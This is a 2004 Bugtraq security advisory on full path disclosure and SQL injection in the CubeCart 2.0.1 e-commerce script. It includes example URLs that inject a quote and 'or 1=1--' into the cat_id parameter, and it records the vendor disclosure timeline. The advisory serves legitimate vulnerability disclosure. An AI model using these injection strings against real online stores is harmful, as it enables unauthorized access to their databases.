[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: Full path disclosure and sql injection on CubeCart 2.0.1
From: Pedro Sanches <pedro_sanches () sapo ! pt>
Date: 2004-10-06 14:40:16
Message-ID: 20041006144016.28823.qmail () www ! securityfocus ! com
[Download RAW message or body]
--------------------------------------------------------
Full path disclosure and sql injection on CubeCart 2.0.1
--------------------------------------------------------
[1]Introduction
[2]The Problem
[3]The Solution
[4]Timeline
[5]Feddback
##############################################################
[1]Introduction
"CubeCart is an eCommerce script written with PHP & MySQL. With CubeCart you can \
setup a powerful online store as long as you
have hosting supporting PHP and one MySQL database."
This info was taken from http://www.cubecart.com
CubeCart, from Brooky (http://www.brooky.com), is a software formerly known as \
eStore.
[2]The Problem
A remote user can cause an error in index.php using the parameter 'cat_id' which is \
not properly validated, displaying the
software's full installation path. It can also be used to inject sql commands. \
Examples follow:
(a) http://example.com/store/index.php?cat_id='
causes an error like this:
"Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result \
resource in
/home/example/public_html/store/link_navi.php on line 35
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in \
/home/example/public_html/store/index.php on line 170
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource \
in
/home/example/public_html/store/index.php on line 172"
(b) http://example.com/store/index.php?cat_id=1 or 1=1--
displays all categories in the database
[3]The Solution
None at this time. Vendor contacted and fix will be avaliable soon.
[4]Timeline
(2/10/2004) Vulnerability discovered
(2/10/2004) Vendor notified
(3/10/2004) Vendor response
[5]Feedback
Comments and stuff to cybercide@megamail.pt
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic